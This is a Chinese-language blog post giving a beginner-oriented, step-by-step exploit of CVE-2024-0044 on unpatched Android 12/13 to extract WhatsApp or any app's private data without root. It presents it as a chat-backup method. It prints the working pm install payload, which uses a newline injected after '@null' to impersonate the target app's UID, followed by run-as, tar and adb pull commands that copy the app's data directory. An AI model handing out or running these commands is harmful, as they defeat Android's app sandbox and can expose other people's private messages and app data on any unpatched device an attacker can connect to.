利用CVE-2024-0044漏洞从Android 12/13提取WhatsApp数据库(或任何应用数据)

本文详细介绍了如何利用CVE-2024-0044漏洞在未root的Android 12/13设备上提取WhatsApp等应用的数据文件,包括具体操作步骤和命令示例,适用于需要备份聊天记录的用户。

利用CVE-2024-0044从Android 12/13提取WhatsApp数据库(或任何应用数据)

我想从一台未root的Android 12手机备份WhatsApp消息。几年前,我使用Whatsapp-Chat-Exporter将备份转换为HTML,但首先必须从手机中提取数据库。

Whatsapp-Chat-Exporter指出的从非root设备提取的方法多年来保持不变:降级到允许备份的旧版WhatsApp,然后创建包含WhatsApp数据库的Android备份。

这对WhatsApp Business无效,因为没有允许备份的版本。根据你的使用情况,你可能需要将WhatsApp转移到可root的新设备,然后在那里提取文件(拥有root权限时非常容易)。

在查看Meta Red Team X的新Zygote漏洞(CVE-2024-31317)时,我认为它可以用于执行备份提取,但随后我看到了该博客上的前一个条目(CVE-2024-0044),它更容易使用(但仅适用于未收到2024年3月安全更新的Android 12和13)。

CVE-2024-0044

这个漏洞利用适用于任何非系统应用,不仅仅是提取WhatsApp/WhatsApp Business的数据。对于专家来说,漏洞利用的解释非常明显。我在这里为最终用户或初学者编写,他们需要逐步指南来提取WA数据库。

简单漏洞利用

首先,你需要启用USB调试并允许通过USB安装APK。准备一个APK;任何APK都可以,只要它可以安装在你的设备上(从https://f-droid.org/获取APK)。

将APK文件推送到设备,例如:

1
adb push F-Droid.apk /data/local/tmp/

漏洞利用很简单。首先,我们需要获取WhatsApp的目标uid。执行adb shell,然后在adb内部执行:

1
pm list packages -U|grep com.wha

你会看到类似这样的内容:

1
2
package:com.whatsapp.w4b uid:10374
package:com.whatsapp uid:10180

如果你只有WhatsApp,你将只有com.whatsapp,如果你只有WhatsApp for Business,你将只有com.whatsapp.w4b。查看UID(例如,10180;这在你的手机上会不同)。

复制并粘贴到记事本,更改UID,然后复制到剪贴板。

1
2
3
PAYLOAD="@null
victim 10180 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk

或下载此文本文件(以防WordPress弄乱格式)。

注意在@null之后有回车,这就是漏洞利用的关键。更改UID以匹配你的。单词victim可以用任何1个单词的字符串替换。

你应该看到类似这样的内容:

注意当在@null之后粘贴新行时,它将在下一行显示为>

注意你只需要执行一次。

现在我们可以以WhatsApp用户身份运行:

1
run-as victim

我们可以开始浏览文件(ls、cat等)。不幸的是,在Android 13中,我无法将文件复制到其他地方(到/sdcard/、/data/local/tmp)。但我们可以这样做(但首先,通过exit或按control-d退出run-as),然后:

1
2
3
4
5
mkdir /data/local/tmp/wa/
touch /data/local/tmp/wa/wa.tar
chmod -R 0777 /data/local/tmp/wa/
run-as victim
tar -cf /data/local/tmp/wa/wa.tar com.whatsapp

这应该是它的样子:

现在我们可以退出adb(exit或control-D)回到命令行,并拉取数据:

1
adb pull /data/local/tmp/wa/wa.tar

然后你可以使用任何应用提取数据(最新的Windows可以提取tar文件,或者你可以使用7-Zip)。

现在,你可以从databases文件夹获取数据库,并使用Whatsapp-Chat-Exporter将其转换为HTML。

结论

我希望这能帮助任何需要从非root手机提取数据的人。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计